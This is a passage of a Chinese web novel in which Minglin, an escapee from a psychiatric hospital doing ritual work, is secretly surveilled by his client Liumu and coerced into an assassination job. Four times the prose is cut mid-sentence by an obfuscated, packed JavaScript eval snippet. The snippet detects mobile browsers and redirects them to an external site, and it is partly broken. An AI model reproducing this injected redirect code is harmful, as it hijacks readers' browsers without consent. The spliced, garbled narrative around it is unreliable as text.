“你的顾客给你送这个东西,应该是希望你去吧?”明林看着盒子里的五颜六色的门票问。 “拿着吧,”柳木把盒子盖上,送到明林手里,笑了笑说,“他知道我不爱出门,自己平时也不待在海岛上,你就算带人去了,也大概率不会见到他的,别担心。” 明林收下了那几张门票。 柳木还非常贴心地给他准备了一份旅游地图和旅行指南,他也一并收下了。 “那我先去休息了?今天晚上就拜托你了,”柳木微笑了一下,“希望新的仪式和经文能让这个地方变得更好一些。” “好的,”明林点了点头,把盒子放在包里,坐在了之前一直坐的位置上,准备进行新的仪式,“您去休息吧。” 柳木洗漱之后就进了卧室,明林开始了新的仪式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466831|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过这一次,和之前有所不同了,关着门窗的客厅内,地面上的蜡烛的火焰忽然剧烈跳动起来,下一刻,全部熄灭了。 整个客厅陷入一片黑暗之中,浓郁的线香的气味在此刻成为了一种阻碍,使人分不清上下左右,如坠雾中。 柳木听见声音的时候,时间已经很晚了,他本来想装没听见,但是那声音越来越大,房间里的温度越来越低,窗外的风还越来越强了,他有一种房子即将坍塌的错觉,这让他不能继续待在里面。 他推开门从里面出来的时候,一团鲜红的血正好溅在了他面前的地板上,只差一点,就能扑到他的鞋面上,如果更高一些,或许,还可以泼到他的脸上。 他屏住呼吸,转头往血液扑来的方向看了过去,明林徒手握着一团正在疯狂尖叫的东西,只听砰的一声,那东西就炸开了,更多的血流了出来,到处都是。 明林对他歉意一笑:“不好意思,打扰你休息了。” “这是什么?”柳木垂眼看了看面前的血,又抬起头来,看向明林,和刚才被他捏爆的那个东西问。 明林不知从哪里抽了一张干净的纸,一边站在那里慢条斯理擦了擦手,一边似笑非笑注视着地上的残渣说:“一个偷偷溜进来的东西,或许是被香烛吸引了吧。” “我怎么看着有点眼熟呢?”柳木犹豫着问。 “是和之前的尸体有一点像,”明林点了点头,“也许是尸体残留在这里的怨气,和血肉凝结,化成了怪物吧。” “我现在打个电话吧,”柳木掏出了手机,“让清洁公司来一趟,这屋子需要打扫了。” “抱歉,让你破费了。”明林对他笑了笑。 “没关系,”柳木摆了摆手,“毕竟也是为了帮我的忙嘛。” 清洁公司来了之后,他们身上的血腥味很浓,一直站在门口等着也不是个事,柳木就邀请明林去附近的旅馆洗澡:“我付钱。” “谢谢。”明林跟着他到了附近的旅馆。 他付了钱,开了一间房,坐在床边,揪起自己的衣服闻了闻,缓缓皱起了眉头,脸色隐约有些发黑:“我忘了把换洗衣服拿出来了。” 他说完又摇了摇头:“算了,拿出来也是有味道的,今天晚上就这么将就过吧。其他的事情明天再说。” “你先洗还是我先洗?”他抬起头来,看向明林问。 “您请您请。”明林微笑着说。横竖明林又不付钱,稍微晚洗一会儿,也不会怎么样。 柳木点了点头,站起身来,进了浴室,没过一会儿,湿漉漉出来了,明林正坐在床边拨打电话,怀里抱着他的笔记本电脑,嘀嘀咕咕:“顾客吗?顾客在洗澡呢。仪式怎么样?很好啊,我今天晚上还杀了一个怪物呢。” 柳木猛然一惊,三步并作两步走过去,明林抬起头来对他微笑,单手把笔记本电脑递给他。 13. 第 13 章 “清洁公司的人刚才过来了,说那边已经打扫完成了,”明林微笑着说,“这是他们送过来的。” “我记得这个东西是放在卧室的,没有弄脏,”柳木心脏跳得极快,伸手接过自己的笔记本电脑,细看了一遍,抬眼望向明林,“他们把这个东西送过来干什么?” “他们看卧室开着门,”明林收回手去,微笑了一下,解释说,“因为那里面也需要打扫,就顺便进去了。 打扫卫生的时候,清洁泡沫不小心掉到笔记本电脑的风扇孔,不知道坏了没有,特意擦干净了送过来,请你看一看,如果需要赔偿,他们可以支付相关费用。” 柳木听完之后,咬了咬牙,不知道说什么,勉强在脸上扯开一个有些扭曲的笑,难得看起来一点也不呆了:“好,我看一看。” 他坐在旁边,打开笔记本电脑,检查起来,电脑完全可以正常运转,除了风扇孔,那里确实有些湿润,仿佛在印证,对面所言非虚。 他深吸了一口气,平复了一下心情,看向明林问:“那你打开看了吗?我的笔记本电脑。” “没有啊,”明林一脸无辜,摇了摇头,“你的东西,我怎么能随便看呢?我又没经过允许。” 柳木不知道应该庆幸还是应该懊恼,破罐破摔一般笑了一下,把笔记本电脑关了回去:“那好,谢谢。” “不用客气。”明林摆了摆手。 “你刚才在跟谁打电话?”柳木抱着笔记本电脑,看着明林,那只好像还在通话中的手机问。 “我老板,”明林把手机递给他,“你要打招呼吗?” “不用了,”柳木摆了摆手,“不过,你老板这么关心你?晚上还要给你打电话?” “他也是我的监管者,”明林把手机收回去,“关心一点情况倒也正常,更何况,他这也是在关心顾客和任务进度,不单是为我。” “那要不要邀请他去海岛玩?他应该能找到很多愿意去的人吧?”柳木试探着说。 “我问一问。”明林拿起手机。 “他答应,”明林对柳木说,“他说愿意和我一起去,至于其他游玩的人,他会定了告诉我,我只要到时间和他一起去就行。” “那太好了,”柳木把笔记本电脑放在一边,拉住明林的手说,“祝你旅途愉快!” “谢谢,”明林晃了晃他的手,“我会尽可能多拍几张好看的照片给你。” 柳木呵呵笑着把手收回,推了一下眼镜说:“那我就等着看了。” 在明林准备去海岛的日子里,他已经处于一种半放假状态,每天可以到处乱晃,但是钱照拿,任务继续,反正,自从那天晚上之后,柳木就不太在乎仪式的事情,也没催过。 不过,这种放松的日子,停在了他像往常一样去领免费冰淇淋的时候,那天的太阳很好,前面排着队,他百无聊赖等待着,站在队伍里,轻轻唱着歌:“一闪一闪亮晶晶……” 一个人忽然从旁边走过来,拍了一下他的肩膀,他转过头去看,看见一张极其熟悉的,噩梦一样的脸,完全愣住。 他压根没想过会在这里见到这个人,一时间没有反应,这人失去了耐心,一把拽住他的手腕,把他从队伍里拉了出去,走到旁边一辆老旧的黑车面前,啪的一声开了车门,把他塞了进去,随后自己也坐进了车里。 “你找我有什么事?”明林回过神来,像一条警惕的蝮蛇一样直起身,看向他问。 “在外面过安逸日子,把你的脑子搞坏掉了?”坐在前座的人,点起一支雪茄烟,在烟雾缭绕中,毫不客气,冷笑着嘲讽起来。 “黑曼巴,”明林深吸一口气,咬着牙忍着怒意说,“如果你找我只有这些废话,我现在就要出去了!你以后也别找我!” “你不会真以为,”他那双像狼一样的绿油油的眼睛,透过弥漫的烟雾,从明亮的后视镜,注视着明林,慢条斯理,充满威胁意味问,“离开离火精神病院只需要一把火那么简单吧?” 明林沉默,黑曼巴抱着他随身携带的黑色长枪,咔嚓一声,上了膛,调转枪口,手指扣在扳机上,用枪口抵着明林的太阳穴,叼着烟,面色平静,语气冷漠:“赎罪,或者,去死,选一个吧。” “为谁赎罪?” “离火精神病院。” “我不觉得我有罪。” “那不是由你定的。” 明林沉默了半天,黑曼巴的烟已经抽了大半,整间车里都弥漫着烟雾,声音像是从地狱里飘来,行刑前的号角:“选好了吗?” “要我做什么?”明林闭了闭眼睛问。 黑曼巴丢给他一个药瓶:“院长不信任你,先把这些吃下去再说。” 明林也懒得问他是什么,反正不会是什么好东西,打开瓶子,一口全都吞掉了。 吞下去之后,他能感觉到有什么东西在他的喉咙里乱爬,爬了一阵子,试图爬出来,他张了张口,想把那东西拽出来算了。 黑曼巴注视着他,他就把蠢蠢欲动的手又放了回去,搭在膝盖上,重新把那奇怪的东西吞了,脸色有些微微发绿。 黑曼巴慢吞吞收回目光,又丢了一个钱包给他:“处理掉这个人,任务结束之后,拍照发给我,病院会派人去善后。” 明林打开了那个钱包,里面有一张单人寸照,白底的,照片里是一个剃了寸头的年轻男人,眼神看起来有点凶,右边眉毛上有一条长长的疤。 不过,那条疤痕,不知道是不是做了修复的原因,乍一看并不明显,因为疤痕的颜色和皮肤颜色相近,不注意的时候,像是额下的青筋鼓起来了。 他往钱包里翻了翻,里面有几张钱币,还有一颗圆滚滚金灿灿的,拖着长尾巴老鼠的扣子,看起来像是一颗普通的从衣服上掉下来的扣子。 但他拿起这个扣子看了看,就问:“流水厂的耗子?” “知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466832|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有什么可问的?”黑曼巴冷笑了一声。 “我明白了,”明林把钱包揣进兜里,看向他问,“地址呢?”总不能什么都不知道,就让人冲上去吧? 黑曼巴面无表情打开门,每一个字都充满了浓浓的不耐烦,闻起来像即将炸掉的火药:“你把东西放好,自然会有人找你,你跟着他去就是了。” “我知道了。”明林拿着东西,走了出去,关上车门,车子在他面前,扬长而去。 明林回到之前排队的位置,抬头一看,队伍已经散了,店铺已经关了,免费的冰淇淋,今天是吃不着了,他默默叹了一口气,转身离开。 手机突然响了起来,他拿出来一看,是柳木给他打的,接了起来,柳木问他:“你有空吗?现在在哪?我买了东西,你能不能替我拿一下?” “在哪?”明林弯着腰,一步一步往前走,垂头丧气问。 “就在我家附近的那个小超市里,”柳木把门牌号告诉了他,又问,“可以去吗?” “可以。”明林抬头看了一眼旁边店铺的门牌号,他已经距离那个超市很近了,顺便走过去也没有什么。 “谢谢!”柳木说完,挂断了电话。 明林到了超市,提走了柳木买的东西,回到柳木的住处的时候,发现门是开的,就把门拉开,走了进去:“我把你要的东西拿回来了。” “好的,谢谢,”柳木从厨房里走出来,看了他一眼,走上前来,把东西接了过去,在里面掏了掏,掏出了一块咖啡雪糕,递给他说,“拿去吃,今天好像有点太阳。” 明林看着手里的咖啡雪糕,笑了一下说:“谢谢。” “我可以坐吗?”明林抬起头来,看向柳木问。 柳木连连点头:“当然可以,你坐吧。” 他把东西提到了厨房放下,又从厨房里问:“今天晚上我想吃蔬菜沙拉和炸土豆,你吃吗?” “都可以。”明林低着头拆开手里的雪糕包装袋,在塑料的滋滋拉拉的响声里,回答了一句,就把雪糕塞进嘴里,狠狠咬了一口。 雪糕是淡咖啡色的,表面镶嵌了一些细碎的巧克力豆,外皮是脆脆薄薄的巧克力,里面是柔软香甜的咖啡味奶油,丝滑冰凉。 明林把后背靠在沙发上,糟糕的心情有所缓解,慢吞吞把雪糕表面的巧克力脆皮刮了下来,又狠狠嚼掉了奶油,最后像啮齿动物一样把木棍吃得干干净净,丢进了垃圾桶,去厨房洗手。 柳木正在炸土豆,脸上仍然戴着黑框眼镜,一副十分认真的表情,左手拿着温度计,右手拿着漏勺,站在油锅面前,看了他一眼:“你好像不太高兴?” “可能是今天的太阳有点大吧。”明林并不打算说什么。 “冰淇淋领到了吗?”柳木转而问。 “没有。”明林叹了一口气。 “发生了什么吗?”铃木转头,直勾勾注视着他:“你最近几乎每天都去。” 14. 第 14 章 明林想了一想,垂着眼睛回答:“有个人托我办件事,害得我没排上队。” 这是实话。 柳木站在油锅面前,用温度计测了一下油里的温度,用漏勺把金灿灿的土豆切块都捞了起来,掂了掂勺子,听见土豆块在勺子里面相互撞击发出酥脆的咔嚓咔嚓的声音,往上撒了一些盐,找了个盘子,把土豆倒了进去,仿佛只是随口一问:“什么人?居然能把你从冰淇淋队伍拉出来?” 明林能感觉到心脏狠狠一跳,像是一种警告,脸色白了一瞬,咬了咬牙说:“一个卖冰淇淋的,脾气硬得像石头,力气还挺大。” “那他想求你办什么事?”卖冰淇淋的,柳木脑子里回荡着这几个字,看着盘子里的土豆呆住,好半天回过神来问:“非得找你吗?” 明林嗤笑了一声,面沉如水,冷冷道:“他想给别人当狗,别人不愿意,他让我帮忙,我不同意,他就威胁我,说我要是不帮忙,就再也不许我吃冰淇淋,我只好答应了。” 柳木呆了半晌,感觉脑子烧了,好像误入什么狗血剧场,站在旁边当了一回免费的观众,最后扯了扯嘴角:“你真会开玩笑。” 明林知道他不会相信,也并不一定要他相信,笑了笑,端着盘子走出厨房,背对着他说:“是开玩笑,其实我是被狗追着咬,跑了好长一段路,才没吃到冰淇淋。” “哈哈。”柳木干巴巴笑了两声。 沙拉和土豆摆在桌子上,柳木和明林入座,桌子是圆的,他们相对而坐,明林拿着餐具,看向柳木问:“可以吃了吗?” “请吧。”柳木点了点头。 明林低下头去,开始进食。 柳木默默注视着他。 明林是一个难以形容的人,但有一点是毋庸置疑的,他绝对,不可能轻易割舍掉他哥哥,否则,他在进离火精神病院的第一天,就应该想着怎么出来。 而不是一直待在里面,待在他哥身边,恨不得待到天荒地老,甚至最初,让人看不出一丁点,怨恨他哥的痕迹。 这实在是一件很恐怖的事,因为任何一个正常人突然被骗到一个莫名其妙的出不去的地方,都不应该,心平气和,甚至和那个把自己骗进去的人,一如往常。 至少柳木是想不明白,怎么会有人,被骗了之后,而对骗自己的人毫无怨言呢?如果是他,他就拿刀把那个人杀了。 可是明林呢?岂止是毫无怨言,他之前看起来完全就像是,只要能待在他哥身边,就算是被折磨得不成人形,也心甘情愿。 这能是正常人吗?这是吗?这不是! 从把任务消息发给香火厂的时候起,柳木就抱着一种吸引明林的心态,后来直接指定明林来处理自己的任务,柳木就更加清楚,自己大概率是会见到明林的。 他确实见到了。 见到明林的那一天,太阳是不温不火的,云层是模糊不清的,天空是一种淡淡的蓝色,好像一切都是无所谓的。 他把门打开,看见明林是猝不及防的,心跳陡然加快,他几乎怀疑自己会因为心率过速而晕倒,但幸好,最后他也没进医院。 明林看起来是不认识他的,甚至对他笑了笑,他只觉得惊悚,哪怕那个笑看起来十分温和友好,并没有任何危险威胁的意味。 因为他很清楚记得,从前在离火精神病院的时候,明林看谁都不顺眼,如果不是发脾气,也根本懒得讲话,其他人问他,他都不回答,他只对他哥笑过。 他对其他人笑的次数加起来,也没有他对他哥一天之内笑的次数多。这是实验室那边的数据。柳木偶然间知道的。 他并不确定,这份数据是真的还是假的,但是他见过明林之后,觉得这也不是不可能,因为明林那种人,对别人不假辞色是完全正常的。 事实上,假如见过明明,就会觉得明林还算好相处的,因为明明是表面上笑意盈盈,背地里捅刀子,有时候忍不下去,也不用等转身了,当面就炸了,非要炸死一个才算数。 明明的话倒是很多,对谁也都笑,好像很好相处的样子,但是真说上两句话才知道,根本不是那么一回事。 真要相处,还不如挑明林,至少,不用担心对面的人突然把脸皮剥下来,露出一个鲜血淋漓的笑,再扑上来捅刀子,还一边追着尖叫逃跑的人,一边笑得更大声,好像一切只是游乐园的一个项目,被追上了,也不过是在身上多一张出局的贴纸,而不是死掉。 从外表上,明明和明林一模一样,但从性格上说,他们表现出来的,情况是完全不一样的,本质上,又都一样了。 只能说,怪不得是兄弟。 如果不是知道离火精神病院的那些事情,只谈当天见到明林的情况,柳木或许会认为,面前就是个好相处的普通人。 但只要稍微想一想曾经的事情,柳木就很难把明林当成一个,好相处的普通人来看,哪怕明林在他面前,看起来确实很正常。 柳木不愿意相信这种正常,因为他发自内心觉得,一切都是假的,不管这是表演出来的假象,还是一种被神秘力量强行覆盖出来的假象,他决心要找出破绽。 他一边暗中观察,一边开始在他的笔记本电脑上,进行观察日志的记录,最开始并没发现什么,因为明林确实在努力控制。 不过,这种控制的力量是很薄弱的,所以很快,明林就恢复本性了,在柳木看来,这就是破绽。 他表面上是在卧室里休息,实际上,早就在房子里安装了进行过装饰的摄像头和隐藏的监听器,第一眼是绝对发现不了的。 他也并没有给明林任何一点仔细检查他的房子的机会,真要是检查了,那东西就会被全搜出来了,他还得想办法解释,挺麻烦的。 虽然明林或许并不会问他,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466833|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于一个工作者对顾客的尊重,但他不能去赌,明林会不会怀疑他,只要有所怀疑,那很多事情就不能论证了,因为不知道是不是演的。 他好不容易把明林弄到自己家来观察,怎么能转头让明林提起警惕,开始表演呢?所以,还是不被发现比较好。 明林第一天来的时候,他盯了人一晚上,当然,不是正儿八经坐在旁边就那么直勾勾看着,那也太奇怪了。 他后半夜是躲在房间里看的,就用他那个闪着蓝光的笔记本电脑,他和明林只有一墙之隔,哪怕不用监听器,也能听见明林隐隐约约的念经的声音。 但用了监听器,他能听得更清楚一些,所以他一只耳朵用,一只耳朵不用,这样方便他确认情况。 万一有什么东西是只有耳朵或者监听器能听见的呢?如果两只耳朵都带上监听器,错失了不带监听器才能听见的情况,那就可惜了。 明林进门的时候,他挂在脖子上的那个耳机就是接收监听器的,他很庆幸,明林并没发现这一点。 至于他的眼镜,是在不能当着明林的面打开笔记本电脑看监控视频的时候,用来连接摄像头的,顺便挡一下自己的眼睛。 虽然他知道明林不一定记得他,但他还是怕被认出来,或许明林并不一定对他做什么,但如果明明,知道他暗地里监控明林,他很难想象自己会遇到什么。 那种发自内心的恐惧感,让他不得不进行一点修饰,反正只是戴个眼镜,也不算大刀阔斧,也不麻烦,他很顺利说服了自己。 在明林念经的第一个晚上,他看着摇曳的烛光,听着呢喃不清的经文,昏昏欲睡,给自己熬了一杯极浓的咖啡,喝了下去。 也不知道是不是错觉,喝完咖啡之后,他再看监控视频,就觉得明林隐约间看了他一眼。 只是看一眼,这倒没有什么,也许只是明林在活动脖子,总不能让人一直一动不动,又不是死了。 但是,那一眼看起来太像明明了,柳木不得不承认自己吓了一跳,他揉了揉眼睛再看,明林已经把头低了下去,仍然在念经。 之后他没再喝咖啡,但非常清醒,他要说这是因为恐惧,而不是由于咖啡因,他并不希望明林知道自己还没休息,所以不能在房间里走来走去消磨他的焦虑。 他一动不动坐在电脑面前,咬着牙皱着眉,开始回忆刚才看见的情况,想要确定究竟是自己的错觉还是真的,但他想不出来。 他只是更恐惧了一点,而且突然想到了一个非常离谱的猜测,以明林和明明这两兄弟的情况,该不会,刚才明明就在明林的身体里,真看了他一眼吧? 因为这个离谱的猜测,他第二天晚上也没睡着,挂着自己的黑眼圈,就坐在监控视频面前看了起来。 于是他又发现了一个惊悚的事实,明林一整天都没睡觉,但是一点也不困,看起来精神抖擞。 15.第 15 章 实际上,明林并不是没有休息,他只是用穿越的能力到别的地方去睡了一觉。 他把本来应该在离火精神病院里面大睡特睡的自己捞出来了,在那里面睡觉,让本来应该待在里面的那个自己出来,在外面待着。 所以,表面上看是一个人,但时间不一样,从时间上说,也可以是两个人,不过区别不大,而且一般人分不出来。 明林和明林除了时间上的区别,也就剩衣服的区别了,但他们在互换位置之前,会把衣服换上,再加上香火给的那个戒指,所以,柳木压根没看出来换了。 幸好,他们也没什么深层次的交流,明林并不太担心可能会被发现,至于柳木监视监听他的事,他隐约有一点感觉,不太确定。 他也不是很在乎这个,反正香火那边也在用戒指监听监视,一个听是听,一个看是看,那再加一个也就那么一回事,债多了不愁。 不过,这种事情对柳木来说就不是那么一回事了,他并不是时时刻刻都在监听监控明林,但明林在他房子里的时候,他是一定知道的。 正因如此,他才觉得诡异,他的直觉告诉他,明林和明林不一样,可他又分不出来,究竟哪里不一样,只能在诡异和更诡异之间横跳。 他有时候,看着明林,觉得自己其实是被明明和明林这两兄弟耍了,但他又没有证据,越发烦躁起来。 他开始回忆明林来到自己的房子之前的事,突然想到,自从明林离开离火精神病院,明明就没有消息了,好像死了一样。 该不会真死了吧?可是之前都没死,现在怎么突然死了?谁杀的?怎么杀的?杀完的尸体在哪?怎么会没人发现? 他倒吸一口凉气,难道明林离开精神病院是明明布的局?用来调出那些对他们兄弟和精神病院不怀好意的人,而他向香火厂发出消息的时候,就已经一头栽进坑里了? 这么一想,明林一直只用一个仪式和一篇经文的事情,背后的用意就很清楚了,他待在香火厂不是一天两天,肯定不只会这么点。 他之所以只用这么一点,是因为敷衍,想看看找他的人,究竟是真想请他来解决问题,还是来研究他的,再看看,柳木究竟能不能发现,他是故意敷衍的。 如果发现了,那就是研究他的,如果没发现,那就是没什么威胁的蠢货,不必太过放在心上。 柳木心中顿时有一股被藐视和愚弄了的怒火,噌噌噌往上涨,几乎瞬息间把他淹没,但他看见明林那张脸,又冷静下来。 他不能给明明递把柄,鬼知道,他们是不是故意想要激怒他,好名正言顺处理掉他,他不信,他们没做过这样的事。 即使他们真的没做过,离火精神病院也会让他们去做的。他已经栽进坑里了,他要做的是尽快脱离,而不是把自己埋得更深。 他假装自己什么都没有发现,并且把观察记录的文件进行了隐藏和保密,悄悄减少了监视器和监听器的数量,试图让一切回到正轨。 但就是这个时候,一个怪物被召唤来了,他深信这是被明林召唤来的,而不是一个闯入房子的意外,因为他觉得明林做得出来。 从那东西出现的时候,他就察觉了,不过他不是很敢出去,因为他觉得有危险,如果站在外面不小心被误伤,以至于杀死,也许最后也只能被判成是意外,甚至是自杀。 他可没有想死的意思,但是房子都在震动的时候,墙上出现了一条裂缝,他觉得这是警告,他出去了,血溅在他的面前,距离他甚至没有一步远,他很肯定,这就是威胁。 明林在威胁他,别以为做得隐蔽,旁人就什么都不知道。 他请明林离开了他的房子,其实是一种示弱,意思是说,我已经知道你的意思了,你不用再做更多,我会退一步的,别逼我了。 他在浴室里,除了洗澡,还有犹豫,犹豫自己要不要就这么放弃一个观察明林甚至是离火精神病院的好机会。 但他出来就被警告了,这一次的警告比上一次更加严重,因为,天知道,当他看见他的笔记本电脑出现在明林的怀里的时候,他以为,自己下一刻就会被杀死。 他很确定浴室里面没有监听器,也没有监控器,他更确定,明林没有站在浴室门口,偷听他的动静,没有贴着门等他出来。 可明林还是知道他在里面想什么了,也许是时间的问题,难道明林有在一定范围内,窥探别人思想的能力吗? 离火精神病院究竟在研究什么杂七杂八的东西?! 也不能排除明林单纯是猜到了,或者,像他哥一样喜欢猫戏老鼠,明明已经占尽上风,还要得寸进尺,非要看到别人惊恐不已的样子才算罢休。 他询问了情况,明林告诉了他,可他不觉得那就是真相,因为他打开电脑就发现,摄像头开着,那一瞬间,他的心脏都停了一拍。 恍惚间感觉自己看见明明对他露出的毫不掩饰的笑,如同明明隔着摄像头告诉他,你能监控别人,我也能监控你。 他的保密文件夹,也被挪出来了,光明正大放在桌面上,就好像是一种莫大的嘲讽,你以为你藏得很好,其实早就一览无余了。 后来还有一件事,完全证明他的猜测都是正确的,那一天没有太阳,没有下雨,云层淡淡飘着,一切都笼罩着一层模糊的阴影。 明林拿了冰淇淋从外面回来,因为没有钥匙,所以,敲了敲关着的门,柳木当时在房间里,正在对着笔记本电脑,检查自己是不是还有什么没注意到的地方。 他一开始并没听见敲门声,后来听见了以为是陌生人,敲错了门也懒得开,后来听见那声音持续不断,才意识到,可能是明林回来了。 他还以为,明林出去了,某一天就不会再回来了,他们会心照不宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471135|185484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当做之前的事情没有发生过,其他一切照旧。 他没想到明林会回来,他也不希望明林回来,但明林确实回来了,他等了又等发现明明没有改变主意的意思。 于是,他一脸绝望走出去开门,开门的时候调整了脸上的表情,确保自己看起来不会太像奔丧的,被明明知道会觉得晦气。 好巧不巧,那一天,明林穿越时间到离火精神病院去看被关起来的那个自己的时候,正好撞上明明回去。 明明在厕所里找到了明林,不过找到的是两个,他知道有这么一回事之后,就特兴奋,摩拳擦掌说:“让我也去玩一玩吧!” “可是你有事要做吧?”香火厂的明林问。 “没关系,”明明笑眯眯说,“随便找一个去就是了,他们都认不出来的。” 被关起来的明林说:“正好今天不用念经,也不用摆仪式,去就去吧。”他一边脱衣服一边看向香火厂的明林问:“你睡觉吗?” “这就定好了吗?”香火厂明林大惊。 “你玩不玩吧?”明明揽住香火厂明林的脖子:“我不会给你搞砸的。我还没去过呢。多可惜呀!” “那好吧。”明林同意了。 于是,被关起来的明林换上了明明的衣服,明明换上了香火厂的明林的衣服,而香火厂的明林穿上了被关起来的那个明林的衣服。 明明就这样出现在了柳木的面前,而柳木把他当成了明林,即使如此,也能一眼从他身上看出那种,莫名其妙的浓烈的兴奋,像在见了鬼的地方关了一年,好不容易出来放风一样。 香火场的明林和精神病院的明林区别并不是很大,但明明,毕竟在精神病院那边和明林是两个人,所以他多少还是开朗一点。 他手里拿着冰淇淋,跨过门槛进了屋,一边左摸右摸,好像第一次来一样,一边笑嘻嘻说:“你的房子不错,阳光也不错。” 他说着走到阳台那儿去,晒了晒太阳,冰淇淋就从他手上化了,他三两口把冰淇淋吃了,还像只猫一样,一点一点舔了舔手指头,黏黏糊糊的,整个人散发出一股浓烈的冰淇淋的甜味。 柳木站在门口,看着他呆住了,因为觉得这根本就是明明。 明明笑眯眯凑过来撞了撞他,好像他们是在篮球场旁观比赛一样:“外面街头那家的冰淇淋真的很好吃,而且免费,你怎么不去?” 柳木之前就没被明林这么撞过,缓了一会儿说:“外面太阳有点大,我不想出门。” 外面忽然响起鸟叫声,他们同时抬头看了过去,原来是有一只麻雀停在了阳台的栏杆上。 明明笑眯眯扑过去,一把抓住了那只鸟,一边像捏尖叫鸡一样,捏着那只鸟,一边走回来,对柳木举起那只鸟,像小孩炫耀自己刚得到的奖章一样,笑眯眯问:“刚才是整点吧?这只鸟叫起来像打更似的,是不是?”